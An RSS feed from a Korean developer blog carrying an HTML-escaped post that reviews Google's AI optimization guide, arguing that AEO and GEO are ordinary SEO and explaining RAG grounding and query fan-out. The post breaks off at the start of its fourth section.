<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>갓대희의 작은공간</title>
    <link>https://goddaehee.tistory.com/</link>
    <description>갓대희의 &amp;quot;개발&amp;quot; 공간</description>
    <language>ko</language>
    <pubDate>Wed, 20 May 2026 18:56:19 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>갓대희</managingEditor>
    <image>
      <title>갓대희의 작은공간</title>
      <url>https://tistory1.daumcdn.net/tistory/1994430/attach/8b53fab4a06a48c9af35626f50806b94</url>
      <link>https://goddaehee.tistory.com</link>
    </image>
    <item>
      <title>Google AI SEO 최적화 가이드 리뷰 : AI 검색 시대, 하던 SEO를 잘 하면 된다( AEO&amp;middot;GEO는 SEO의 다른 이름이다)</title>
      <link>https://goddaehee.tistory.com/604</link>
      <description>&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;&lt;div style=&quot;font-family: 'Pretendard', 'Apple SD Gothic Neo', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt; 
 &lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1313&quot; data-origin-height=&quot;741&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MQVIj/dJMcabK4Ev3/JkhD7NhNnMCqOKPi3fZRf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MQVIj/dJMcabK4Ev3/JkhD7NhNnMCqOKPi3fZRf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MQVIj/dJMcabK4Ev3/JkhD7NhNnMCqOKPi3fZRf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMQVIj%2FdJMcabK4Ev3%2FJkhD7NhNnMCqOKPi3fZRf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1313&quot; height=&quot;741&quot; data-origin-width=&quot;1313&quot; data-origin-height=&quot;741&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;/div&gt;&lt;!-- 래퍼 2: 본문 --&gt;&lt;div style=&quot;font-family: 'Pretendard', 'Apple SD Gothic Neo', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
 &lt;!-- 인트로 본문 --&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;오늘 작성할 내용은 AI가 SEO를 죽인다는 주제이다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;AEO, GEO라는 새 약어가 등장했고, llms.txt를 만들어야 한다거나 콘텐츠를 잘게 쪼개야 한다거나 하는 조언이 넘쳐난다. 2026년 5월, Google이 드디어 공식 답변을 내놨다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.google.com/search/docs/fundamentals/ai-optimization-guide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google AI 최적화 가이드(AIO 가이드)&lt;/a&gt;는 &quot;AI Overview·AI Mode 시대에 무엇을 해야 하는가&quot;에 대한 Google의 공식 입장이다. 결론부터 말하면, 하던 것을 잘 하면 된다. 단, 그 안에 담긴 논리와 새로운 개념, 특히 에이전트 경험(Agentic experiences)은 앞으로 웹의 방향을 바꿀 것이다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;이 글은 그 가이드의 핵심을 풀어보고, 지금 당장 해야 할 일을 정리한다.&lt;/p&gt; &lt;!-- 용어집 callout (glossary_required: true) --&gt; 
 &lt;div style=&quot;background-color: #fff3cd; padding: 15px 18px; border-radius: 0 8px 8px 0; border-left: 4px solid #ffc107; margin: 20px 0;&quot;&gt; 
  &lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;먼저 용어부터 가볍게 잡고 가자&lt;/b&gt;&lt;/p&gt; 
  &lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt; 
   &lt;li&gt;&lt;b&gt;SEO(검색엔진 최적화)&lt;/b&gt;: Google 같은 검색엔진에서 내 글·사이트가 상위 결과에 나오도록 최적화하는 작업 — 이 글 전반에서 '기존 방식'으로 언급되는 것&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;AI Overview(AI 오버뷰)&lt;/b&gt;: 검색 결과 상단에 AI가 요약 답변을 생성해 보여주는 기능&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;AI Mode&lt;/b&gt;: AI Overview를 확장한 대화형 검색 모드&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;RAG(Retrieval-Augmented Generation)&lt;/b&gt;: 검색 인덱스에서 문서를 가져와 AI 답변에 활용하는 기술 — &quot;grounding&quot;이라고도 부름&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;Query fan-out&lt;/b&gt;: 하나의 질문에 대해 AI가 여러 관련 쿼리를 병렬로 실행해 더 많은 자료를 수집하는 기법&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;AEO(Answer Engine Optimization)&lt;/b&gt;: AI 답변 엔진에 최적화한다는 뜻으로 쓰이던 용어&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;GEO(Generative Engine Optimization)&lt;/b&gt;: 생성형 AI 검색에 최적화한다는 뜻으로 쓰이던 용어&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;llms.txt&lt;/b&gt;: 사이트에 LLM이 참고할 정보를 제공하기 위해 만드는 텍스트 파일 (표준안)&lt;/li&gt; 
   &lt;li&gt;&lt;b&gt;Agentic experiences(에이전트 경험)&lt;/b&gt;: AI 에이전트가 사용자 대신 예약·비교·구매 등 작업을 수행하는 새로운 웹 상호작용 형태&lt;/li&gt; 
  &lt;/ul&gt; 
 &lt;/div&gt; &lt;!-- 목차 박스 --&gt; 
 &lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt; 
  &lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목차&lt;/b&gt;&lt;/p&gt; 
  &lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt; 
   &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-1&quot;&gt;배경: AI 검색이 바꾼 것과 바꾸지 못한 것&lt;/a&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-2&quot;&gt;핵심 개념: AI 검색의 기술적 작동 방식&lt;/a&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-3&quot;&gt;작동 원리: AI 검색은 내 콘텐츠를 어떻게 가져오는가&lt;/a&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-4&quot;&gt;실무 적용: 콘텐츠·기술·커머스&lt;/a&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-5&quot;&gt;지금 당장 할 수 있는 체크리스트&lt;/a&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-6&quot;&gt;통념 파괴: llms.txt·청킹·AI 마크업이 필요 없는 이유&lt;/a&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-7&quot;&gt;에이전트 경험 — 웹의 다음 레이어&lt;/a&gt;&lt;/li&gt; 
   &lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section-8&quot;&gt;결론: 지금 무엇을 해야 하는가&lt;/a&gt;&lt;/li&gt; 
  &lt;/ol&gt; 
 &lt;/div&gt; &lt;!-- 섹션 1 --&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 id=&quot;section-1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 배경: AI 검색이 바꾼 것과 바꾸지 못한 것&lt;/b&gt;&lt;/h2&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;Google은 2026년 5월 15일, AI Overview와 AI Mode에 대응하는 공식 최적화 가이드를 발표했다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;기존에 여기저기 흩어져 있던 AI 검색 관련 안내들을 하나의 공식 문서로 정리한 것이다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://searchengineland.com/google-publishes-guide-on-optimizing-for-generative-ai-features-477671&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Search Engine Land의 보도&lt;/a&gt;에 따르면, 이 가이드의 핵심 메시지는 &quot;AI 검색을 위한 별도 전략은 없다&quot;이다.&lt;/p&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;535&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k1GoZ/dJMcaak1BxB/a1H8Fd5bOBbzB277kM5LFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k1GoZ/dJMcaak1BxB/a1H8Fd5bOBbzB277kM5LFK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k1GoZ/dJMcaak1BxB/a1H8Fd5bOBbzB277kM5LFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk1GoZ%2FdJMcaak1BxB%2Fa1H8Fd5bOBbzB277kM5LFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;990&quot; height=&quot;535&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;535&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;가이드가 나오기까지의 맥락이 중요하다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;마케팅 업계에는 AEO, GEO라는 새 개념이 난무했고, llms.txt 파일을 서버에 올려야 한다거나 콘텐츠를 AI가 읽기 좋게 잘게 쪼개야(이를 '청킹'이라 부른다) 한다는 조언이 쏟아졌다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;기존 SEO 대행사들이 구식 기법에 'AI' 라벨만 붙여 팔고 있다는 비판도 Reddit r/SEO, r/bigseo 커뮤니티에서 반복적으로 제기됐다. 검색 생태계 전반에서 혼란이 증폭되던 시점에 이 가이드가 나왔다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;Google의 공식 입장은 간결하다.&lt;/p&gt; 
 &lt;div style=&quot;background-color: #e8f4f8; padding: 15px 18px; border-radius: 0 8px 8px 0; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt; 
  &lt;p style=&quot;margin: 0 0 8px 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;The best practices for SEO continue to be relevant because our generative AI features on Google Search are rooted in our core Search ranking and quality systems.&quot;&lt;br&gt;“Google&amp;nbsp;검색의&amp;nbsp;생성형&amp;nbsp;AI&amp;nbsp;기능은&amp;nbsp;핵심&amp;nbsp;검색&amp;nbsp;순위&amp;nbsp;시스템과&amp;nbsp;품질&amp;nbsp;평가&amp;nbsp;시스템을&amp;nbsp;기반으로&amp;nbsp;작동하기&amp;nbsp;때문에,&amp;nbsp;기존&amp;nbsp;SEO&amp;nbsp;모범&amp;nbsp;사례는&amp;nbsp;여전히&amp;nbsp;중요합니다.”&lt;/p&gt; 
  &lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;— &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.google.com/search/docs/fundamentals/ai-optimization-guide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google AI 최적화 가이드&lt;/a&gt;&lt;/p&gt; 
  &lt;br&gt;
  &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1336&quot; data-origin-height=&quot;714&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/23RPt/dJMcagFBjc5/1W9AcZI0HKMxqAY25pJkZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/23RPt/dJMcagFBjc5/1W9AcZI0HKMxqAY25pJkZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/23RPt/dJMcagFBjc5/1W9AcZI0HKMxqAY25pJkZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F23RPt%2FdJMcagFBjc5%2F1W9AcZI0HKMxqAY25pJkZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1336&quot; height=&quot;714&quot; data-origin-width=&quot;1336&quot; data-origin-height=&quot;714&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

 &lt;/div&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;AI Overview와 AI Mode는 Google의 핵심 검색 랭킹 및 품질 시스템 위에 구축됐다. 좋은 SEO는 여전히 좋은 AI 검색 노출로 이어진다는 공식 확인이다.&lt;/p&gt; &lt;!-- 섹션 2 --&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 id=&quot;section-2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 핵심 개념: AI 검색의 기술적 작동 방식&lt;/b&gt;&lt;/h2&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;RAG와 grounding — AI 답변이 만들어지는 구조&lt;/h3&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;993&quot; data-origin-height=&quot;541&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mrwSH/dJMcadPxKGQ/3V5KslzMC8KaelG0GP2FVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mrwSH/dJMcadPxKGQ/3V5KslzMC8KaelG0GP2FVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mrwSH/dJMcadPxKGQ/3V5KslzMC8KaelG0GP2FVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmrwSH%2FdJMcadPxKGQ%2F3V5KslzMC8KaelG0GP2FVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;993&quot; height=&quot;541&quot; data-origin-width=&quot;993&quot; data-origin-height=&quot;541&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;AI Overview의 답변은 허공에서 나오지 않는다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;Google은 RAG(Retrieval-Augmented Generation, 검색 증강 생성) 방식을 사용해 핵심 검색 랭킹 시스템으로 웹 인덱스에서 관련 페이지를 가져온 뒤 그 내용을 AI 답변에 반영한다. 가이드는 이 과정을 &quot;grounding&quot;이라고 부르며, 답변의 품질·정확도·최신성을 높이는 핵심 메커니즘으로 설명한다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;즉, AI 검색에 노출되려면 먼저 Google 인덱스에 잘 들어가 있어야 한다. AI가 별도의 소스를 참조하는 게 아니라, 기존 검색 랭킹 결과를 그대로 활용한다는 뜻이다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Query fan-out — 하나의 질문이 여러 검색으로 분화한다&lt;/h3&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;987&quot; data-origin-height=&quot;533&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HMEmL/dJMcaa6rjz7/LMhmbTJOcjMV7kd6zYOun1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HMEmL/dJMcaa6rjz7/LMhmbTJOcjMV7kd6zYOun1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HMEmL/dJMcaa6rjz7/LMhmbTJOcjMV7kd6zYOun1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHMEmL%2FdJMcaa6rjz7%2FLMhmbTJOcjMV7kd6zYOun1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;987&quot; height=&quot;533&quot; data-origin-width=&quot;987&quot; data-origin-height=&quot;533&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;AI Mode에서 사용자가 하나의 질문을 하면, 모델은 관련된 여러 쿼리를 병렬로 실행해 더 많은 자료를 수집한다. 이를 Query fan-out이라고 한다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;이게 실제로 어떤 의미인지 살펴보자.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;단순히 특정 키워드에 최적화된 단일 글보다, 특정 주제를 여러 각도에서 깊게 다룬 콘텐츠가 Query fan-out의 여러 쿼리에 걸쳐 노출될 가능성이 높다. 주제 심도(topic depth)가 표면적 키워드 밀도보다 중요해지는 이유다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AEO·GEO는 SEO다 — 용어 정리&lt;/h3&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://searchengineland.com/google-publishes-guide-on-optimizing-for-generative-ai-features-477671&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Search Engine Land의 분석&lt;/a&gt;에 따르면, 이 가이드는 AEO(Answer Engine Optimization)와 GEO(Generative Engine Optimization)가 SEO와 별개 전략이 아니라 AI 검색 환경에 적용된 SEO일 뿐이라는 점을 명확히 한다. Google은 AI 검색을 위한 독자적인 최적화 방법론을 인정하지 않는다.&lt;/p&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;993&quot; data-origin-height=&quot;542&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2ImT2/dJMcacpDZMu/xkM5EBLrHHJwUrjWRmj4l1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2ImT2/dJMcacpDZMu/xkM5EBLrHHJwUrjWRmj4l1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2ImT2/dJMcacpDZMu/xkM5EBLrHHJwUrjWRmj4l1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2ImT2%2FdJMcacpDZMu%2FxkM5EBLrHHJwUrjWRmj4l1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;993&quot; height=&quot;542&quot; data-origin-width=&quot;993&quot; data-origin-height=&quot;542&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;결국 AEO·GEO 컨설팅을 표방하는 서비스가 제공하는 'AI 전용' 기법들은 대부분 기존 SEO를 재포장한 것이거나, 효과가 없는 것들이다.&lt;/p&gt; &lt;!-- 섹션 3 --&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 id=&quot;section-3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 작동 원리: AI 검색은 내 콘텐츠를 어떻게 가져오는가&lt;/b&gt;&lt;/h2&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AI Overview 노출의 실질적 경로&lt;/h3&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;AI Overview 링크의 96%는 상위 10위 오가닉 검색 결과에서 나온다는 Brainlabs 데이터가 있다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://ppc.land/googles-new-guide-for-ai-search-what-seo-really-needs-now/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ppc.land의 Brainlabs 데이터 재인용&lt;/a&gt;)&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;이 수치가 말하는 것은 단순하다: AI 오버뷰에 등장하고 싶다면 먼저 오가닉 검색 상위에 들어야 한다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;AI 검색이 새로운 채널처럼 보이지만, 실제 콘텐츠 접근 경로는 기존 검색 인덱스와 동일하다. 별도의 파이프라인이 아니다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;무엇을 해야 하는지 — 가이드의 두 축&lt;/h3&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;가이드는 AI 검색 최적화의 방향을 두 가지로 압축한다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;첫 번째: 가치 있는 비상품형 콘텐츠 창출.&lt;/b&gt;&lt;/p&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;992&quot; data-origin-height=&quot;540&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oTCuC/dJMcahLfjwK/3SKeSc0h7j3UUFLWI5E810/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oTCuC/dJMcahLfjwK/3SKeSc0h7j3UUFLWI5E810/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oTCuC/dJMcahLfjwK/3SKeSc0h7j3UUFLWI5E810/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoTCuC%2FdJMcahLfjwK%2F3SKeSc0h7j3UUFLWI5E810%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;992&quot; height=&quot;540&quot; data-origin-width=&quot;992&quot; data-origin-height=&quot;540&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;가이드는 이것이 다른 어떤 권장 사항보다 AI 검색 노출에 더 큰 영향을 미친다고 명시한다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://searchengineland.com/google-publishes-guide-on-optimizing-for-generative-ai-features-477671&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Search Engine Land&lt;/a&gt;)&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;비상품형 콘텐츠(non-commodity content)란 어디서나 구할 수 있는 일반적 정보가 아니라, 독자적인 관점·심층 분석·고유한 경험이 담긴 콘텐츠다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;가이드가 구체적으로 권장하는 콘텐츠는 이렇다: 나만의 관점이 담긴 글, 독자에게 실질적으로 유용한 정보, 명확한 구성과 품질 좋은 이미지·영상. 키워드를 억지로 욱여넣거나 내용을 반복 변형한 글은 오히려 불리하다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;두 번째: 명확한 기술 구조 구축&lt;/b&gt;&lt;/p&gt; 
 &lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;530&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9cw4M/dJMcah5zmSV/qRU3ZCAXJSqVINkJbDzk3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9cw4M/dJMcah5zmSV/qRU3ZCAXJSqVINkJbDzk3k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9cw4M/dJMcah5zmSV/qRU3ZCAXJSqVINkJbDzk3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9cw4M%2FdJMcah5zmSV%2FqRU3ZCAXJSqVINkJbDzk3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;979&quot; height=&quot;530&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;530&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;크롤러블 HTML, 시맨틱 마크업, JavaScript SEO 모범 사례, 좋은 페이지 경험, 중복 콘텐츠 최소화가 기술 축이다.&lt;/p&gt; &lt;!-- 섹션 4 --&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
